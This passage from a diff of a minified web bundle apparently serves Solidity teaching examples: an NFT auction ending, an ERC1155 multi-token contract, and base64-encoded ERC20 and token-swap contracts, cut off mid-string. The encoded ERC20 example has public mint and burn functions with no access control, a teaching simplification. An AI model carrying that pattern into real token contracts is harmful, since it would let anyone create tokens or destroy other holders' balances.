GFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],Fj=`

      English auction for NFT.

      Auction

      1. Seller of NFT deploys this contract.
        2. @@ -986,7 +986,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit End(highestBidder, highestBid); } } -`,Kj=({prev:s,next:a})=>r.jsx(u,{version:Xj,title:vj,description:Nj,html:Fj,prev:s,next:a,codes:Hj}),Mj="0.8.24",Sj="ERC1155",xj="Example of ERC1155 multi token in Solidity",Jj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],zj=`

        Example of ERC1155

        +`,Kj=({prev:s,next:a})=>r.jsx(A,{version:Xj,title:vj,description:Nj,html:Fj,prev:s,next:a,codes:Hj}),Mj="0.8.24",Sj="ERC1155",xj="Example of ERC1155 multi token in Solidity",Jj=[{fileName:"ERC1155.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        view
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
"}],zj=`

        Example of ERC1155

        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1247,7 +1247,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         _batchBurn(msg.sender, ids, values);
     }
 }
-
        `,Dj=({prev:s,next:a})=>r.jsx(u,{version:Mj,title:Sj,description:xj,html:zj,prev:s,next:a,codes:Jj}),Ej="0.8.24",Qj="ERC20",Tj="Example of ERC20 token in Solidity",Uj=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],_j=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        +`,Dj=({prev:s,next:a})=>r.jsx(A,{version:Mj,title:Sj,description:xj,html:zj,prev:s,next:a,codes:Jj}),Ej="0.8.24",Qj="ERC20",Tj="Example of ERC20 token in Solidity",Uj=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICBzdHJpbmcgcHVibGljIG5hbWU7CiAgICBzdHJpbmcgcHVibGljIHN5bWJvbDsKICAgIHVpbnQ4IHB1YmxpYyBkZWNpbWFsczsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYWxsb3dhbmNlW3NlbmRlcl1bbXNnLnNlbmRlcl0gLT0gYW1vdW50OwogICAgICAgIGJhbGFuY2VPZltzZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwo